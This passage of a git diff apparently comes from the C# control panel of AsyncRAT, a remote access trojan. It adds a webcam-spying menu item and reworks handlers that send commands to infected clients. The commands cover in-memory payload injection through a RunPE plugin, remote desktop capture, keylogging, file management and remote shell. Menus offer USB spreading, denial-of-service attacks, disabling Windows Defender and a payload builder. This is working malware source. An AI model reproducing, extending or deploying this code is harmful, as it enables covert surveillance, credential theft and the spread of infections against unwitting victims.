this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// toolStripSeparator2
|
// toolStripSeparator2
|
||||||
//
|
//
|
||||||
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||||
this.toolStripSeparator2.Size = new System.Drawing.Size(241, 6);
|
this.toolStripSeparator2.Size = new System.Drawing.Size(195, 6);
|
||||||
//
|
//
|
||||||
// sENDFILEToolStripMenuItem
|
// sENDFILEToolStripMenuItem
|
||||||
//
|
//
|
||||||
@ -243,7 +244,7 @@
|
|||||||
this.tODISKToolStripMenuItem});
|
this.tODISKToolStripMenuItem});
|
||||||
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
|
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
|
||||||
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
|
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
|
||||||
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(244, 32);
|
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
|
||||||
this.sENDFILEToolStripMenuItem.Text = "Send File";
|
this.sENDFILEToolStripMenuItem.Text = "Send File";
|
||||||
//
|
//
|
||||||
// tOMEMORYToolStripMenuItem
|
// tOMEMORYToolStripMenuItem
|
||||||
@ -268,10 +269,11 @@
|
|||||||
this.passwordRecoveryToolStripMenuItem1,
|
this.passwordRecoveryToolStripMenuItem1,
|
||||||
this.fileManagerToolStripMenuItem1,
|
this.fileManagerToolStripMenuItem1,
|
||||||
this.processManagerToolStripMenuItem1,
|
this.processManagerToolStripMenuItem1,
|
||||||
this.reportWindowToolStripMenuItem});
|
this.reportWindowToolStripMenuItem,
|
||||||
|
this.webcamToolStripMenuItem});
|
||||||
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
|
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
|
||||||
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
|
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
|
||||||
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(244, 32);
|
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
|
||||||
this.monitoringToolStripMenuItem.Text = "Monitoring";
|
this.monitoringToolStripMenuItem.Text = "Monitoring";
|
||||||
//
|
//
|
||||||
// remoteDesktopToolStripMenuItem1
|
// remoteDesktopToolStripMenuItem1
|
||||||
@ -338,6 +340,14 @@
|
|||||||
this.stopToolStripMenuItem2.Text = "Stop";
|
this.stopToolStripMenuItem2.Text = "Stop";
|
||||||
this.stopToolStripMenuItem2.Click += new System.EventHandler(this.StopToolStripMenuItem2_Click);
|
this.stopToolStripMenuItem2.Click += new System.EventHandler(this.StopToolStripMenuItem2_Click);
|
||||||
//
|
//
|
||||||
|
// webcamToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
|
||||||
|
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
|
||||||
|
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||||
|
this.webcamToolStripMenuItem.Text = "Webcam";
|
||||||
|
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
// miscellaneousToolStripMenuItem
|
// miscellaneousToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
@ -349,14 +359,14 @@
|
|||||||
this.executeNETCodeToolStripMenuItem});
|
this.executeNETCodeToolStripMenuItem});
|
||||||
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
|
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
|
||||||
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
|
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
|
||||||
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(244, 32);
|
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
|
||||||
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
|
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
|
||||||
//
|
//
|
||||||
// botsKillerToolStripMenuItem
|
// botsKillerToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
|
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
|
||||||
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
|
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
|
||||||
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||||
this.botsKillerToolStripMenuItem.Text = "Bots Killer";
|
this.botsKillerToolStripMenuItem.Text = "Bots Killer";
|
||||||
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
|
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
@ -364,7 +374,7 @@
|
|||||||
//
|
//
|
||||||
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
|
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
|
||||||
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
|
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
|
||||||
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||||
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
|
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
|
||||||
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
|
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
|
||||||
//
|
//
|
||||||
@ -372,7 +382,7 @@
|
|||||||
//
|
//
|
||||||
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
|
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
|
||||||
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
|
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
|
||||||
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||||
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
|
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
|
||||||
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
|
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
|
||||||
//
|
//
|
||||||
@ -380,7 +390,7 @@
|
|||||||
//
|
//
|
||||||
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
|
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
|
||||||
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
|
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
|
||||||
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
|
||||||
this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
|
this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
|
||||||
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
|
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
|
||||||
//
|
//
|
||||||
@ -388,7 +398,7 @@
|
|||||||
//
|
//
|
||||||
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
|
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
|
||||||
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
|
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
|
||||||
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||||
this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
|
this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
|
||||||
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
|
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
|
||||||
//
|
//
|
||||||
@ -396,7 +406,7 @@
|
|||||||
//
|
//
|
||||||
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
|
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
|
||||||
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
|
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
|
||||||
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
|
||||||
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
|
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
|
||||||
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
|
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
|
||||||
//
|
//
|
||||||
@ -412,7 +422,7 @@
|
|||||||
this.disableNetStatToolStripMenuItem});
|
this.disableNetStatToolStripMenuItem});
|
||||||
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
|
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
|
||||||
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
|
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
|
||||||
this.extraToolStripMenuItem.Size = new System.Drawing.Size(244, 32);
|
this.extraToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
|
||||||
this.extraToolStripMenuItem.Text = "Extra";
|
this.extraToolStripMenuItem.Text = "Extra";
|
||||||
//
|
//
|
||||||
// visitWebsiteToolStripMenuItem1
|
// visitWebsiteToolStripMenuItem1
|
||||||
@ -479,7 +489,7 @@
|
|||||||
this.pCToolStripMenuItem});
|
this.pCToolStripMenuItem});
|
||||||
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
|
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
|
||||||
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
|
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
|
||||||
this.systemToolStripMenuItem.Size = new System.Drawing.Size(244, 32);
|
this.systemToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
|
||||||
this.systemToolStripMenuItem.Text = "System";
|
this.systemToolStripMenuItem.Text = "System";
|
||||||
//
|
//
|
||||||
// clientToolStripMenuItem
|
// clientToolStripMenuItem
|
||||||
@ -493,46 +503,46 @@
|
|||||||
this.showFolderToolStripMenuItem});
|
this.showFolderToolStripMenuItem});
|
||||||
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
|
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
|
||||||
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
|
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
|
||||||
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
|
||||||
this.clientToolStripMenuItem.Text = "Client";
|
this.clientToolStripMenuItem.Text = "Client";
|
||||||
//
|
//
|
||||||
// closeToolStripMenuItem1
|
// closeToolStripMenuItem1
|
||||||
//
|
//
|
||||||
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
|
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
|
||||||
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34);
|
||||||
this.closeToolStripMenuItem1.Text = "Close";
|
this.closeToolStripMenuItem1.Text = "Close";
|
||||||
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
|
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
|
||||||
//
|
//
|
||||||
// restartToolStripMenuItem2
|
// restartToolStripMenuItem2
|
||||||
//
|
//
|
||||||
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
|
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
|
||||||
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
|
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
|
||||||
this.restartToolStripMenuItem2.Text = "Restart";
|
this.restartToolStripMenuItem2.Text = "Restart";
|
||||||
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
|
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
|
||||||
//
|
//
|
||||||
// updateToolStripMenuItem2
|
// updateToolStripMenuItem2
|
||||||
//
|
//
|
||||||
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
|
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
|
||||||
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
|
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
|
||||||
this.updateToolStripMenuItem2.Text = "Update";
|
this.updateToolStripMenuItem2.Text = "Update";
|
||||||
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
|
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
|
||||||
//
|
//
|
||||||
// uninstallToolStripMenuItem
|
// uninstallToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
|
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
|
||||||
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
|
||||||
this.uninstallToolStripMenuItem.Text = "Uninstall";
|
this.uninstallToolStripMenuItem.Text = "Uninstall";
|
||||||
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
|
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// toolStripSeparator3
|
// toolStripSeparator3
|
||||||
//
|
//
|
||||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||||
this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6);
|
this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6);
|
||||||
//
|
//
|
||||||
// showFolderToolStripMenuItem
|
// showFolderToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
|
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
|
||||||
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
|
||||||
this.showFolderToolStripMenuItem.Text = "Show Folder";
|
this.showFolderToolStripMenuItem.Text = "Show Folder";
|
||||||
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
|
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
@ -544,40 +554,40 @@
|
|||||||
this.shutdownToolStripMenuItem1});
|
this.shutdownToolStripMenuItem1});
|
||||||
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
|
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
|
||||||
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
|
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
|
||||||
this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
|
||||||
this.pCToolStripMenuItem.Text = "PC";
|
this.pCToolStripMenuItem.Text = "PC";
|
||||||
//
|
//
|
||||||
// logoffToolStripMenuItem1
|
// logoffToolStripMenuItem1
|
||||||
//
|
//
|
||||||
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
|
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
|
||||||
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
|
||||||
this.logoffToolStripMenuItem1.Text = "Logoff";
|
this.logoffToolStripMenuItem1.Text = "Logoff";
|
||||||
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
|
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
|
||||||
//
|
//
|
||||||
// restartToolStripMenuItem3
|
// restartToolStripMenuItem3
|
||||||
//
|
//
|
||||||
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
|
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
|
||||||
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34);
|
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34);
|
||||||
this.restartToolStripMenuItem3.Text = "Restart";
|
this.restartToolStripMenuItem3.Text = "Restart";
|
||||||
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
|
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
|
||||||
//
|
//
|
||||||
// shutdownToolStripMenuItem1
|
// shutdownToolStripMenuItem1
|
||||||
//
|
//
|
||||||
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
|
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
|
||||||
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
|
||||||
this.shutdownToolStripMenuItem1.Text = "Shutdown";
|
this.shutdownToolStripMenuItem1.Text = "Shutdown";
|
||||||
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
|
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
|
||||||
//
|
//
|
||||||
// toolStripSeparator1
|
// toolStripSeparator1
|
||||||
//
|
//
|
||||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||||
this.toolStripSeparator1.Size = new System.Drawing.Size(241, 6);
|
this.toolStripSeparator1.Size = new System.Drawing.Size(195, 6);
|
||||||
//
|
//
|
||||||
// bUILDERToolStripMenuItem
|
// bUILDERToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
|
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
|
||||||
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
|
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
|
||||||
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(244, 32);
|
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
|
||||||
this.bUILDERToolStripMenuItem.Text = "BUILDER";
|
this.bUILDERToolStripMenuItem.Text = "BUILDER";
|
||||||
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
|
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
@ -994,6 +1004,7 @@
|
|||||||
private System.Windows.Forms.ToolStripMenuItem getAdminPrivilegesToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem getAdminPrivilegesToolStripMenuItem;
|
||||||
private System.Windows.Forms.ToolStripMenuItem disableWindowsDefenderToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem disableWindowsDefenderToolStripMenuItem;
|
||||||
private System.Windows.Forms.ToolStripMenuItem disableNetStatToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem disableNetStatToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem webcamToolStripMenuItem;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@ -9,7 +9,7 @@ using System.Threading;
|
|||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using Server.Forms;
|
using Server.Forms;
|
||||||
using Server.Cryptography;
|
using Server.Algorithm;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using Server.Handle_Packet;
|
using Server.Handle_Packet;
|
||||||
@ -47,13 +47,15 @@ namespace Server
|
|||||||
{
|
{
|
||||||
if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config")))
|
if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config")))
|
||||||
{
|
{
|
||||||
File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe);
|
MessageBox.Show("Missing " + Path.GetFileName(Application.ExecutablePath) + ".config");
|
||||||
Process.Start(Application.ExecutablePath);
|
|
||||||
Environment.Exit(0);
|
Environment.Exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll")))
|
if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll")))
|
||||||
|
{
|
||||||
MessageBox.Show("File 'cGeoIp.dll' Not Found!");
|
MessageBox.Show("File 'cGeoIp.dll' Not Found!");
|
||||||
|
Environment.Exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub")))
|
if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub")))
|
||||||
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub"));
|
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub"));
|
||||||
@ -166,6 +168,7 @@ namespace Server
|
|||||||
Clients client = (Clients)itm.Tag;
|
Clients client = (Clients)itm.Tag;
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
//GC.Collect();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -314,7 +317,7 @@ namespace Server
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
|
msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
|
||||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
|
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE);
|
||||||
}
|
}
|
||||||
|
|
||||||
ListViewItem lv = new ListViewItem();
|
ListViewItem lv = new ListViewItem();
|
||||||
@ -424,7 +427,7 @@ namespace Server
|
|||||||
ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack);
|
ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
await Task.Delay(15 * 1000);
|
await Task.Delay(15 * 1000); //15sec per 1 task
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -485,7 +488,7 @@ namespace Server
|
|||||||
{
|
{
|
||||||
FormSendFileToMemory formSend = new FormSendFileToMemory();
|
FormSendFileToMemory formSend = new FormSendFileToMemory();
|
||||||
formSend.ShowDialog();
|
formSend.ShowDialog();
|
||||||
if (formSend.isOK)
|
if (formSend.IsOK)
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "sendMemory";
|
msgpack.ForcePathObject("Packet").AsString = "sendMemory";
|
||||||
@ -498,7 +501,7 @@ namespace Server
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
|
msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
|
||||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
|
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE);
|
||||||
// github.com/Artiist/RunPE-Process-Protection
|
// github.com/Artiist/RunPE-Process-Protection
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -618,10 +621,13 @@ namespace Server
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
//DLL Plugin
|
||||||
|
//msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
//msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop);
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||||
msgpack.ForcePathObject("Quality").AsInteger = 60;
|
msgpack.ForcePathObject("Quality").AsInteger = 30;
|
||||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients client = (Clients)itm.Tag;
|
Clients client = (Clients)itm.Tag;
|
||||||
@ -635,8 +641,8 @@ namespace Server
|
|||||||
Name = "RemoteDesktop:" + client.ID,
|
Name = "RemoteDesktop:" + client.ID,
|
||||||
F = this,
|
F = this,
|
||||||
Text = "RemoteDesktop:" + client.ID,
|
Text = "RemoteDesktop:" + client.ID,
|
||||||
C = client,
|
ParentClient = client,
|
||||||
Active = true
|
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
|
||||||
};
|
};
|
||||||
remoteDesktop.Show();
|
remoteDesktop.Show();
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
@ -670,7 +676,7 @@ namespace Server
|
|||||||
Name = "keyLogger:" + client.ID,
|
Name = "keyLogger:" + client.ID,
|
||||||
Text = "keyLogger:" + client.ID,
|
Text = "keyLogger:" + client.ID,
|
||||||
F = this,
|
F = this,
|
||||||
C = client
|
Client = client
|
||||||
};
|
};
|
||||||
KL.Show();
|
KL.Show();
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
@ -701,7 +707,7 @@ namespace Server
|
|||||||
Name = "chat:" + client.ID,
|
Name = "chat:" + client.ID,
|
||||||
Text = "chat:" + client.ID,
|
Text = "chat:" + client.ID,
|
||||||
F = this,
|
F = this,
|
||||||
C = client
|
Client = client
|
||||||
};
|
};
|
||||||
shell.Show();
|
shell.Show();
|
||||||
}
|
}
|
||||||
@ -734,7 +740,8 @@ namespace Server
|
|||||||
Name = "fileManager:" + client.ID,
|
Name = "fileManager:" + client.ID,
|
||||||
Text = "fileManager:" + client.ID,
|
